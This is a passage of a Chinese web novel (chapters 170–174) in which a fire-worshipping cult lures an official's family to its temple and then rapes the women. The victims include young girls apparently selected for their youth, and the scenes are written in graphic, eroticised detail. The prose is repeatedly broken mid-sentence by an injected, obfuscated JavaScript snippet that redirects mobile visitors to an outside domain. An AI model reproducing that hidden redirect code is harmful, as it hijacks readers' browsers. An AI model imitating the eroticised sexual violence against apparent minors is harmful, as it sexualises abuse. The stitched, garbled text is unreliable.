“大哥!咱们这是要飞黄腾达了呀!” “可不是嘛,比起京城那拥挤之地,这里简直是天壤之别!” “我要挑一间最大的屋子!” 刘玉莹同样心生感慨,望向父亲道:“父亲,等顾南山先生把我们在京中的财产送过来,我们就可以在这里安安稳稳地过日子了!” “嗯!哈哈哈哈。”刘翰阳爽朗大笑,随即又喃喃道:“顾南山,谢了,等林家灭绝,老夫必定助你一臂之力!” 这时,一个头戴帽子的波斯人从里面走了出来,对刘翰阳比出两个中指,然后在胸前交叉形成一个十字。 “刘大人,我是接引使布兰德,分坛主正在圣殿等你们,请跟我来吧。” “嗯,有劳小兄弟了。”刘翰阳点点头。 以前这种小货色他都不会多看一眼,现在在别人宗教的地界上,所以才说这句。 唐氏看了看身后的行李,布兰德心领神会,又说道:“尊贵的夫人,请您宽心,我们早已备好安排。会有虔诚的教徒为您与家人妥善分配房间,并将这些行李一一送达。” 唐氏闻言,嘴角绽放出中年女性特有的温婉笑意,轻声道:“多谢了。” “夫人言重了,请随我这边来。” 一行人缓缓步入那庄严而神秘的袄神楼。 一踏入门槛,眼前的景象瞬间令人叹为观止,金碧辉煌的各色建筑仿佛将外界的平凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789302|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一并隔绝,地砖全部都是由汉白玉铺设而成,偶有各种珍禽猛兽的雕塑栩栩如生。即便是与大乾皇宫的奢华相比,此处也毫不逊色,甚至更添几分超凡脱俗之感。 行至中庭,布兰德与另一位波斯人低声交谈了几句,言语间透露出一种只有他们才能解读的默契。 然后对身后的刘翰阳说道:“刘大人,按照我拜火教的规矩,外来女子是不得进入圣殿的,因此,除却我们虔诚的男性信徒,其余的女性宾客可以跟着他去房间休息。” “嗯,也好。”刘翰阳本来就不想让自己的大老婆、小老婆在这庄严之地抛头露面的,闻言便欣然颔首,轻轻一挥衣袖,让她们都走了。 他自己则是带着六名家族男性亲戚跟着波斯人继续去往圣殿。圣殿前伫立着一尊巨大的地狱三头犬,通体漆黑,形态狰狞,仿佛能吞噬一切光明与希望,令人心生敬畏,刘翰阳不由自主的心头一凛,连忙低下头,加快步伐。 步入圣殿之内,金光璀璨,辉煌耀眼,与外面的阴郁形成鲜明对比。 大殿正中央,拜火教大乾分坛的坛主——沃里克,稳坐于一张气势恢宏、雕有繁复狗头图腾的巨椅之上,那椅子仿佛是他权柄的象征,散发着不容小觑的威严。 见刘翰阳等人进来,沃里克缓缓起身,身形魁梧,笑声爽朗。 他从狗椅上走下来,用稍微蹩脚的汉语说道:“哈哈哈哈,尊敬的客人,请允许我表达我最真诚的欢迎与祝福。” 刘翰阳看得真切,这B的瞳孔竟然是红色的! 带刘翰阳进来的布兰德介绍道:“这位就是我们分坛主,沃里克殿下。” “殿下?哦。”刘翰阳闻言先是一愣,随即想想,这个沃里克可能也是皇室,所以没有出言发问。 整了整衣衫,往后退了一小步,一躬到地。 “在下刘翰阳,拜见分坛主。” “呵呵呵,你们大乾有句古话,叫自家弟兄,不必客气。” 第170章 邪恶的拜火教 刘翰阳心中莫名升起一股异样,总觉得沃里克那挂在嘴角的笑容透着几分不真实,像装出来的。 沃里克回到自己的狗椅上,还是那副笑脸,看起来诡异异常:“尊敬的顾南山先生,来自遥远之地的智者,已经将你的情况都告诉我勒~如果你愿意加入我们圣教,以后就在这里安心住下,虔诚侍奉圣火,我可以保你平安。 “多谢分坛主。 沃里克轻轻颔首,眼中闪过一抹狠辣的光芒:“不过,要正式成为我们圣教的一员,还需刘大人您稍作准备。 “哦?刘翰阳眉毛一挑,心说就知道不会这么简单, “不知分坛主需要我做什么? “很简单,按我们圣教的规矩,一品官员需要在一日之内破掉九名女子的完璧之身,二品则为八,三品七,四品六,五品五,五品之下仅需其一。借此圣洁与凡尘之血的交融,方能点燃我圣教之火。刘大人身为朝廷正四品官员,故而需六位女子。 刘翰阳一听,怎么滴? 这也算要求啊? 这不是爽的飞起吗? 你们圣教的入教仪式也太让人感动了吧。 刘翰阳激动的直搓手,恨不得立刻地就冲进女人堆里。 “全依分坛主之意。 “呵呵呵呵。沃里克此刻嘴角勾起一抹诡异而腥红的弧度,眼神中闪烁着异样的光芒。 “不过,亲爱的朋友,你也需付出一丝微不足道的代价。但请相信,一旦你点头应允,从此拜火教就是你最坚强的后盾! “什么代价? “这个暂时还不能告诉你,等你点燃圣火的时候,自然知道。 既然说了是小小的代价,想来也不会太过棘手,无非是些金银俗物罢了。 毕竟,他对这些宗教的套路早已心知肚明,不论是佛教的香火钱,道教的功德箱,还是那些真主教信徒的捐献,归根结底,都离不开一个“钱字。 想到这里,他释然一笑,轻轻颔首:“既然分坛主这么说,在下愿意配合。 “好!哈哈哈哈,那就请刘大人沐浴更衣,准备圣火仪式。 “多谢。 唐氏这边一行二十余人,在波斯接引使维克托的引领下,步入了一座宏伟的大堂之中。这大堂的规模,足有三个议政殿那么大,给人以强烈的视觉冲击。 正中央放置着一个巨大炉鼎,炉鼎之上,阳光巧妙地穿过一个方形的天窗,垂直洒落,直至炉鼎底部,形成一幅璀璨夺目的光影 画卷,十分壮观。 环顾四周,只见大堂被一道道朱红色的精致隔间所环绕。轻纱幔帐随风轻轻摇曳,隐约间,可以窥见里面端坐着众多虔诚的拜火教信徒。他们或盘腿而坐,手捧经卷,沉浸在知识的海洋中;或低声交谈,分享着彼此的感悟与心得。 不时的,有人穿梭于隔间之间,或匆匆而过,或驻足停留,整个大堂内洋溢着一种繁忙而又不失和谐的氛围。唐氏一行人从未见过如此别具一格的宗教场景,不禁纷纷投去好奇而敬畏的目光。 唐氏更是无限感慨地说道:“教规之严谨,信徒之虔诚,难怪拜火教在大乾境内能发展得如此迅速。” 刘玉莹的目光在繁忙的事务间流转,最终定格在那高耸入云的穹顶之上,她绕着圈,脸上的喜悦与惊叹交织。 “哇!母亲,这里好大好大呀!” 唐氏温柔地注视着她,脑海中回响着刘翰阳对拜火教的种种描述,于是缓缓开口, “这里应该就是他们入教的圣地了吧。” 这时,维克托转身,目光如炬,来来回回在刘玉莹等年龄幼小的姑娘身上打量,最后确定了几人,走过来对唐氏说道。 “尊敬的夫人,我们需要先带几位小姐去安排住所,请您稍后。” “真是有劳您了。””唐氏轻推了一下身旁满脸洋溢着惊喜之色的刘玉莹,随后又温柔地回头对身后的四位少女吩咐道:“孩子们,快跟这位先生去吧,晚上我们一起吃饭。” “是。”话音未落,四位少女便轻盈地跟随着维克托走了。 另一边。 在那幽深而神秘的圣殿后堂隐秘房间内,一个穿着大乾官服的中年男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789303|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正坐在那里独自品茗,面色阴沉如水,仿佛心头压着千斤重担。 就在这时,厚重的木门被轻轻推开,沃里克大步流星地迈入,脸上先是绽放出一抹意味深长的笑容,随后悠然自得地在彭齐对面落了座。 坐下后,沃里克对他说道:“呵呵呵呵,彭大人为何愁眉苦脸的?” 彭齐闻言,轻轻放下手中温热的茶杯,长叹一声,语气中满是不甘与愤怒:“唉,本来清河那边都已经安排好了,突然来了个毛梦极!他奶奶的,我苦心孤诣、历尽艰辛才拿到的兵权,瞬间就变成他的了。” 沃里克闻言,神色依旧从容不迫:“就算有兵权,教徒们也绝不会叛变的。” 彭齐接话道:“话是如此,可那些兵还没入教呢,再说,这个毛梦极可不是什么无脑之辈,他不仅牢牢掌控了兵权,还以铁腕手段处决了我的手下,更甚者,他竟派遣三位夫子,日日对将士们进行教化熏陶。” “哦?”沃里克那说不清出黑色还是绿色的眉毛一挑:“这是为何?” “据我所知,这是来自京城摄政王府的主意,那些夫子教将士们的课业,也都是信奉王府,不信朝廷,更别说我们圣教了。” “那就找人把这个毛梦极弄死,我就不信,以我们圣教的力量,还无法铲除这区区一名校尉。” “他虽说是校尉,但他是摄政王世子林臻亲自指派的,又有王印加持,与将军无异。他不仅调动了清河县的所有军力,还把周边的几个县也都联合到一块,搞什么演习!!奶奶的,我这个太守算是彻底被架空了!” 沃里克眼中寒芒毕露,血红色的瞳孔杀意迸现。 “我立刻派四大护法去杀他,清河县是与南楚交界重地,必须要控制在我们手里!” “试试看吧,但我可是听说那毛梦极本事不小,别到时候赔了夫人又折兵。” “呵,这就不劳彭大人操心了,今天又有进贡来的新果,不如我们一起尝尝?” “哦?”彭齐眼冒精光:“这回又是哪位大人的千金?” 沃里克笑道:“呵呵呵,户部侍郎刘翰阳。” 第171章 老当益壮,刘翰阳 “什么?他也来了?他女儿刘书瑶不是摄政王府的少夫人吗?”彭齐的语气中满是惊讶。 “正是因此玩起来才更有意思嘛。再说又不是刘书瑶本人是她妹妹刘玉莹也是根正苗红的刘家嫡女。顾南山告诉我说刘玉莹长得很是水灵若非如此你以为我会帮他?” “呵哼那个老狐狸前几日也遣人来试探我被我找了个由头打发走了。不过话说回来我们这样贸然与摄政王府结怨只怕日后不好收场啊。” 沃里克不屑道:“哼什么狗屁摄政王等时机成熟圣火降临世间阿胡拉就是天下之主!” 这时维克托走了进来恭恭敬敬地对沃里克行礼说道:“分坛主准备好了。” “带进来。” 刘玉莹身着一袭碧绿色长裙裙摆轻轻摇曳如同春日嫩叶映衬着她那张纯真无邪的俏脸。 她站在门口目光流转左顾右盼还不知道发生了什么事情。 维克托适时地从门后走出嘴角勾勒起一抹温文尔雅的笑容目光柔和地落在她身上。 “尊敬的小姐您的房间已经妥善安排妥当了 “好呀真是太谢谢你了呢!”刘玉莹回以一抹甜美的微笑那笑容仿佛能瞬间融化寒冰她毫不犹豫地跟随着维克托的步伐踏入了这间隐秘而小巧的会客厅内。 然而当她踏入门槛的那一刻眼前的景象却让她不由自主地瞪大了眼睛。 首先映入眼帘的并非端坐在椅子上的沃里克与彭齐而是他们身后那一张庞大的近乎夸张的床榻! 那张床仿佛占据了整个房间的中心其气势之宏伟让人难以忽视。 就在刘玉莹满心惊异之际猛然间沃里克那双犹如烈焰般炽红的眼眸跃入眼帘吓得她连忙低下头不敢乱看。 “你们.你们是谁呀?” 沃里克见状毫不掩饰地放声大笑:“哈哈哈哈哈顾南山没骗我确实是个极品炉鼎。”言罢他对维克托吩咐道:“你去将其余的少女都关起来择日送出去。” “是。” “退下吧。” 波斯人离开沃里克起身走到刘玉莹面前黑黢黢的手指头捏住她精致的下巴。 “看着我。” 刘玉莹害怕极了眼眶中盈满了晶莹的泪珠只需轻轻一颤便会如断线的珍珠般滚落。 “不不要放开我你要干什么.” “哈哈哈哈还挺害羞的嘛 !”沃里克那粗犷的声音在黑暗中响起,带着几分戏谑与恶意,转头说道:“老彭,咱俩好好给她调教调教?” “我看可以,刘翰阳家的血统还是很不错的,圣火一定会非常喜欢!” “哈哈哈哈哈,跪下!” “不要!!” 刘玉莹拼尽全力挣脱了沃里克铁钳般的手,转身欲逃,却瞬间被他抓住了秀发,硬生生地拽了回来。沃里克脸上闪过一丝狠厉,甩手便是一记响亮的耳光。 啪—— 这一巴掌打得极重,刘玉莹那张平日里精致无瑕的小脸,瞬间被撕裂,嘴角溢出一抹刺眼的鲜红。 然而,沃里克的怒火远未平息,他猛地一蹬腿,在刘玉莹柔弱的腹部重重踹下。 砰—— “啊!!” 沉闷的声响伴随着刘玉莹的痛呼,她双手紧紧捂住腹部,泪水奔涌而出,化作无尽的哀伤与不解。 “唔呜呜呜呜呜,不要,我又没有做错什么,为什么打我.呜呜呜呜” 沃里克蹲下身,一手狠抓住刘玉莹柔顺的青丝,将她如同提线木偶般粗暴地拽起,目光如炬,语气中满是狠戾。 “呵,你爹已经是我圣教信徒,那你就是我圣教的侍女!所有侍女都必须听从我的安排,否则,我就把你剁碎地扔到山上去喂狼!” “张嘴!”沃里克掐开她的嘴巴。 沃里克见到那*****,更是兴奋异常,解开裤头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789304|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “给我小心点你的牙,否则等会你就没有牙了。” “不,呜呜呜呜.” 彭齐脱掉外袍,走了过来,抓住刘玉莹的双腿。 “哈哈哈哈,等会把她的胞宫摘下来,晚上包成饺子喂圣犬!” 刘翰阳对女儿那边的变故一无所知,此时他正被布兰德引领至一处隐秘而静谧的房间内。 这房间布置得颇为考究,中央摆放着一张宽大的床榻,其上铺陈着柔软的波斯织锦,床头是两尊哮天的狼犬,吐着舌头,呲牙咧嘴。 然而,当刘翰阳的视线落在那床榻之上时,却不由地倒吸了一口冷气。 只见六个身姿纤细、似乎正值青春年华的女子被捆绑得如同麻花一般,无助地躺在床上。 她们的脑袋上均戴着一个诡异的狗头面具,嘴巴被紧紧塞住,发不出半点声响。 这突如其来的诡异场景,让刘翰阳心头猛地一颤,一股难以名状的寒意悄然爬上心头。 然而,想到自己即将迎来的辉煌人生,那份狂喜又迅速地将这股寒意驱散。 就在那关键时刻,布兰德轻轻从衣襟内取出一粒精致如珠的药丸,动作中带着一种不言而喻的庄重,缓缓递至刘翰阳面前。 “刘大人,此乃补气壮阳之物,或可助您体力倍增,精神焕发。” “多谢!”刘翰阳闻言,眼中闪过一丝惊喜,毫不犹豫地接过药丸,抛入口中。 一股暖流自丹田升起,迅速蔓延至全身,带来前所未有的舒适与力量感。 布兰德见状,嘴角勾起一抹淡然的微笑:“刘大人可以开始了,我会在此负责给您收集血液,以点燃圣火。” “多谢多谢,哈哈哈哈哈。”刘翰阳哈哈大笑,脱掉鞋子爬上床,眼睛猩红地掀开其中一位姑娘的亵裤。 “呜呜呜呜呜!” 女子只能发出“呜呜呜”的惨叫,却根本没办法阻拦刘翰阳的粗鲁。 第172章 最终的入教仪式(狗头保命版) 六名姑娘被抬了下去随后两位头戴精致帽饰的波斯佳丽轻盈步入她们的脸上洋溢着愉悦与期待步伐中带着一种异域特有的优雅缓步来到浑身是汗、没穿衣服的刘翰阳面前跪下身。 布兰德则在一旁如同一位严谨的科学家小心翼翼地将散落的血迹汇聚于一个小巧的瓶中轻轻摇晃眼神中闪烁着探究的光芒。 “刘大人她们是圣教洁净使特地来为您进行净化仪式。”. 哦? 不愧是圣教啊想的就是周到。 两位女子相视一笑默契十足她们以轻柔的动作微微开启朱唇仿佛在进行一场神圣的仪式将刘翰阳清洁得浑身酸软。 布兰德在一旁静静观察待时机成熟他轻轻点头示意一切已恰到好处。 “圣火仪式即将开始刘大人请随我来。” “呼呼好。” 刘翰阳从没做过这样的事情。 一个时辰的功夫帮助六位少女成功蜕变又经历了两位异域风情的佳人伺候一时间浑身上下说不出的舒畅。 踏着轻盈的步伐刘翰阳与布兰德来到入教圣地刘翰阳见到了妻子唐氏以及刘家众人。 刘翰阳缓缓行至唐氏面前只见她面含焦急。 “老爷!您可来了莹儿她们几个已经安排好了住处可我们等了一下午还没有人来。” “别急一切都会有的。拜火教乃是圣教自会妥善安排每一位信徒。” 此刻的刘翰阳对拜火教充满了前所未有的热爱与敬仰他心中甚至涌起一股冲动恨不得立刻为这片圣地贡献出自己所有的力量所以对唐氏的话满不在乎。 此刻沃里克步伐矫健浑身散发着勃勃生机步入屋内看了看刘翰阳露出一抹冷笑。 “呵呵呵刘大人准备好迎接圣火了吗?” “回分坛主早已准备好了。” 沃里克闻言眼中闪过一丝满意之色:“好!来人请圣火!” 随着他的话语落下三名身着洁白长袍的波斯人自侧门缓缓步入他们步伐沉稳神情肃穆仿佛承载着千钧之重。三人合力高举着一把雄伟的火把那火焰跳跃着散发着炽热而神圣的光芒一步步向刘翰阳走来 “请刘大人高举圣火将圣坛点燃。” 刘翰阳双手恭敬地接过火把那火焰仿佛在他的手中燃烧得更加旺盛照亮了他坚毅的脸庞。 与此同时沃里克高声 呼喊:“阿胡拉真神啊请您的旨意降临人间接受他们虔诚的跪拜的吧!” 他的呼唤仿佛一股无形的力量激荡着空气引得四周隔间里的波斯人纷纷低语那声音如同古老咒语般低沉而缠绵交织成一片:“阿胡拉嗦哆嘞萨拉姆!@#¥%&*” 刘翰阳的动作干净利落他一把将手中的火把掷向圣坛中央火苗瞬间舔舐而上化作熊熊烈焰照亮了四周每一寸角落。 布兰德轻轻一掷那装载着鲜血的瓶子在空中划过一道暗红的轨迹继而与火焰相拥的瞬间瓶身碎裂鲜红的液体与熊熊烈焰交织缠绵犹如古老祭祀中最为神圣而又最为残酷的供奉绽放出既庄严又骇人的光芒。 腾起的烟雾并未随风消散反而遵循着某种神秘的韵律袅袅升起直指穹顶通过一个方正的窗户悠然排出如梦似幻。 目睹此景唐氏与刘家诸位女子无不心潮澎湃她们纷纷跪倒在地双手合十闭目虔诚仿佛在进行一场灵魂的朝圣。 她们幻想着从这一刻开始 尤其是唐氏她的眼中闪烁着前所未有的坚定与希冀那份对未来的渴望如同被烈火点燃照亮了心中每一个角落她虔诚默念着。 “阿胡拉真神啊求您保佑我们保佑我们一家平安喜乐百岁安生。” 这时沃里克舔了舔黄黑色的大牙一挥手便有波斯人上前将刘翰阳带至他的面前。 刘翰阳心中并无太多猜疑依照礼节恭恭敬敬地向这位分坛主行了一礼。 “分坛主。” “嗯刘大人”沃里克的声音低沉而有力“你还记得不记得我跟你说过的小小的代价?” “自然记得还请分坛主明示。”刘翰阳嘴角带笑暗自得意。 幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789305|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好老子带钱来的。 然而就在这份得意即将溢于言表之时四周原本沉浸于低沉诵经声中的波斯人突然静默仿佛被无形的力量所驱使纷纷丢下手中的经卷如潮水般涌入大殿之内。 刘翰阳看得真切其中一个健壮男子瞬间将自己妻子唐氏扑倒在地上上下下得其手。 唐氏大惊失色慌乱喊道:“啊!!干什么你放开我!老爷!!” 其余小妾、女眷也未能幸免被冲进来的波斯人瓜分得一干二净。 他们有的独自鏖战有的三人成组哈哈大笑着宽衣解带仿佛眼前的不是人而是可以肆意享用的美餐。 而且他们下手没轻没重,女眷们哭成一片。 “啊!!疼啊!!” “放开我!!臭流氓!” “老爷!!呜呜呜呜,你们干什么呀!呜呜呜” “老爷救我啊!!” “大伯!” “啊!!!” “夫人!!”刘翰阳眼睛一红就要冲下去,却被两个波斯人擒住。 他挣扎着朝沃里克大喊:“分坛主,这到底是什么意思!?” “什么意思?哈哈哈哈哈,这就是你需要付出的代价!也是你入教的最后一关,名为,交换。” “那我女儿呢?玉莹呢?” “她?她已经成为我的炉鼎了,你放心,你女儿那么漂亮,身材又好,我自会好好待她。” “你,你这个恶魔!!你骗我!” “骗你?你享用我六个完璧之女时想什么来着?”沃里克拍了拍他的肩膀,低声道。 “不过是群女人而已,等我们坐了天下,要多少女人没有?今天,你需要坐在这里看完这场盛宴,从此以后,这些人将和你没有任何关系,她们都将成为我圣教的侍女!” 刘翰阳呆愣愣地看着这一切,最终一屁股坐在地上。 唐氏不着片缕,又被巨物堵住嘴巴,口水与绝望的泪水横流。 她望向刘翰阳,那眼神说不清是憎恨,还是屈辱. 第173章 请世子,不必怜惜妾身 林臻对刘翰阳一家的遭遇完全不知情。 当然,就算他知道,也不会有丝毫的怜悯。 因为林臻对刘家可谓是倾囊相助,不仅帮助刘翰阳从微末小吏一步步爬到户部侍郎的高位,更是让她的女儿刘书瑶,从名不经传的闺中少女变成王府少夫人,未来的王妃。 各种光环加身,让她在大乾王朝的名媛圈中犹如璀璨星辰,备受敬仰。 如此恩重如山的情意,刘翰阳竟视若不见,背信弃义,甚至与顾北辰联手,恩将仇报,想要弄死林臻全家。 这样的人就该死,就该受折磨,林臻绝不会有半点同情。 其实他最喜欢,最欣赏自己的点,就是仁至义尽后的无情无义。 时光回溯至林臻踏出宫门的那个午后。 阳光透过云层,洒下斑驳陆离的光影,如同细碎的梦境,在青石板上跳跃交织。 一匹枣红骏马,身姿雄健,犹如不问世事的侠客,悠然自得地穿行于光影之间。马蹄轻叩路面,声音清脆,似乎踏碎了世间一切温情脉脉的假象。 二狗和侯春坐在车辕上,没有挥动马鞭,悠哉悠哉地驾驶着马车奔王府而去。 车内,林臻倚窗而坐,目光穿过半开的窗棂,投向那不断变幻的景致,心中五味杂陈,纷乱如麻。 他和诸多原书读者一样,对慕容嫣并没什么特别的感情,更没有非要把她收入后宫的打算。 之所以报复顾家及那些与林家为敌者,而不报复慕容嫣,完全是因为林震仙的掣肘。 如果老爷子同意造反,凭借林臻的智谋与手段,不过月余他便能登基为帝,号令天下,逐鹿中原,成就一番霸业。 但这世间只有无可奈何的奈何桥,却没有如果怎样的如果桥。 林臻看不见,也找不到。 所以他最开始的想法就是利用各种手段,在不造反的前提下保护林家,保住自己,从而在这个世界里生活下去。 但是今天,林臻的道心乱了。 慕容嫣将头枕在龙椅上,睁眼望向上方的自己时,那目光中所流露出的情感,深邃而微妙,仿佛隐藏着千言万语而无法说出口。 那一刻,林臻突然就想明白一件事情。 或许,在原来的轨迹中,慕容嫣也只是个被逼无奈继承帝位,后又被顾北辰欺骗利用,再加上被作者安排的苦命女子而已,她从来都没有过自己的主见与独立意识。 所以,她的幼稚,她的愚蠢,她的所作所为,她针对林家的每一步都显得那么可 笑。 可现在因为自己的到来,原来的一切轨迹都已改变,大家都不再是给顾北辰刷经验、造爽感的工具人,而是有血、有肉、有情感、有思想的独立个体。 说不定,慕容嫣真在与林臻一次次的交锋中,改变了对林家的看法,以至于喜欢上了林臻。 那林臻喜欢她么? 一路无话。 回到卧房,林臻感觉很是疲惫,仿佛跋涉了万水千山那般,迷迷糊糊地一头扎进被窝里,连浣碧和晴雯说话也不理,直接睡了个昏天黑地。 再度睁开眼时,夜色已深沉如墨,星辰点点,月光轻洒。浣碧趴在床边,呼吸轻柔而均匀;晴雯则是趴在桌子上,梦中带着笑意。 林臻起身,随便披上一件薄衣,便离开卧房。 他要去找月妩。 之前都忘过一次了,今天再忘会伤了美人心的。 摄政王府,这座承载着往昔辉煌与荣耀的府邸,遍布着一个个小巧而精致的院落,它们见证了家族昔日的强盛与繁荣。 然而世事无常,自林震仙那一辈起,一直到林臻,都是家里的独苗,让这份繁华悄然褪色,只留下一座座空置的院落,默默诉说着过往的故事。 月妩就住在王府一间不起眼的小院里。 那院子虽不大,却别有一番雅致。院中央巧妙地置有一座小巧的凉亭,亭内石桌石凳俱全,仿佛邀人共赏岁月的恬淡。四周环绕着卧房、厨房、会客厅与净房,每一处都安排得恰到好处,正所谓“室雅何须大,花香不在多。 这间院子是后腾出来的,经由月妩、李氏与平儿三人携手打点,已变得十分温馨整洁。 不过今天李氏和平儿并没有回来,只有月妩一个人。 那句:“我粗粗长长的告诉你。 院子里没有丫鬟,一切都是月妩等人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789306|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打理,林臻轻轻推开院门,一缕微风悄然溜入,带动树梢轻摇,斑驳树影在地面缓缓舞动。 他步入院中,目光不由自主地被烛火摇曳的窗棂所吸引,透过那柔和而昏黄的光晕,隐约可见一抹黑影静静地坐在床榻边缘,一动不动。 原来她在等自己。 幸好自己来了,否则这傻妮子非坐一宿不可。 念及此处,林臻心中涌起一股暖流,轻轻推开了房门。 月妩那原本黯淡无光的面容,在刹那间泛起光彩,她缓缓抬头,目光穿越空气,定格在林臻身上,美眸中流淌着说不出的 喜悦和激动。 月妩慌忙起身,指尖轻抚过裙摆的褶皱,似乎要将所有的慌乱与期待都藏进这一袭精致的大红嫁衣里,声音颤抖:“世子.你终于来了.” 此刻,林臻方才注意到,月妩身着的竟是一袭鲜艳夺目的大红嫁衣,那热烈的颜色与她平日里温婉的形象大相径庭。 这怎么情况? 林臻走进来,语气尽量显得很是温柔:“我答应你的,怎么会不来呢,只是你怎么穿成这个样子?” “世子别误会妾身不敢有任何非分之想,穿成这样,也只是想完成一个心愿而已,世子若不喜欢,妾身这就脱掉。”言罢,月妩便要脱衣服。 林臻见状,急步上前,轻轻握住了她的柔荑。 这傻丫头。 月妩是知道自己不可能将她明媒正娶,所以选择穿着嫁衣,度过这意义非凡的首夜。 林臻心绪难平,却未再多言。 此情此景,任何言语都显得苍白无力,唯有紧紧地将她拥入怀中,才能体现出自己对她的这份感情。 林臻轻轻地将月妩横抱起来,两人一同跌入柔软的床榻之中。 林臻压在她身上,一手缓缓穿梭于她如丝般顺滑的发间,最终用手在她挺翘的鼻尖上轻轻一点,低语中带着不容置疑的温柔:“你是我的了。” 月妩的脸颊瞬间染上了绯红,宛如朝霞映照,羞涩地合上了眼帘,声音细若蚊蚋:“请世子不必怜惜妾身,尽情便是。” 言罢,月妩突然就感觉到有一双火热的唇抵在了自己胸膛上。 第174章 世子停一下,看看红没红? “世子!快停一下,看看有没有红。 “不用看,肯定有,我感觉到了。 “不,别出去,就在里面吧。求求世子了,妾身想要个孩子! 月妩依偎在林臻宽广的胸膛上,指尖轻轻绕着圈,勾勒着幸福的轮廓,嘴角满足的笑容怎么也抑制不住。 忍受了二十五年的寂寞,今天终于得以释放,浑身上下更是洋溢着说不出的轻松与释然,那滋味仿佛飘在云端,又仿佛坠入温柔,实在令人着迷。 林臻,在那份空灵而神圣的氛围中缓缓回神,目光深邃,轻启薄唇,对月妩说道:“月妩,我打算交给你个任务。 月妩眼睛一亮:“夫君快说!妩儿什么都愿意为您做! “我需要你秘密地收集粮食,每累积至五千斤,就派人送到你弟弟那里。 “粮食?月妩不解地坐起身体,月光将她不着片缕的身体照得雪亮:“可是现在城里的粮价特别高,现在收粮,恐怕不合适呀。 “我知道,所以我们要秘密地收。可以去别的郡县,也可以直接去乡下,眼瞅着秋收在即,百姓家中定有余粮。咱们能收多少便收多少,尽量不惊动任何人。 “好,妾身明天就去办。 “嗯。林臻满意地点点头。 随即又将月妩温柔地拉回怀中,紧紧相拥,他今天是不打算走了。 月妩滚烫的脸颊贴着林臻的胸膛,心中满是柔情与温暖。 然而就在这个时候,正当此时,门外骤然响起浣碧近乎歇斯底里的呼喊。 “世子!!快出来呀! “曹将军回来了,受了很重的伤!林臻闻言,身躯猛地一颤,随即如同被点燃的箭矢,一跃而起,披上衣服就冲了出去。 护卫营里,曹雄浑身是血地躺在床上。 三位大夫围着他手忙脚乱,绷带与草药在空中飞舞,周遭数名将士怒目圆睁,他们攥紧双拳,却只能眼睁睁看着,束手无策。 “啊呀!!他妈了巴子的,一群狗杂种,等老子养好了非把你们母亲都狠狠草一遍! “啊!!轻点啊! “拜火教是吧,老子非挖开黄河,让你们全都变成淹死教! “不是不是,大夫,你这手艺行不行啊?咋他妈这么疼啊? 曹雄因剧痛而面容扭曲,不时迸发出愤懑的咒骂。 林臻闻讯赶来,见到曹雄伤成这个样子,当即眼珠子就红了。 “老曹!他一声怒吼,箭步冲到 床边。 曹雄一见林臻,泪水瞬间决堤,哽咽着喊道:“世子!!老曹无能,没能追上刘翰阳不说,还折了三百弟兄” “为什么?到底发生了什么事?” 曹雄强忍着悲痛,断断续续地讲述起来:“我们奉命去追刘翰阳,好不容易追上了,谁知道这逼养的竟然和拜火教串通一气,杀我们一个措手不及!若不是半路冲出来的武僧和陛下的百骑司,我也回不来了。” 说到此处,曹雄泪水滂沱,哭得像个月子里的娃:“可怜我的兄弟们我的三百个壮士啊!!!呜呜呜呜.” 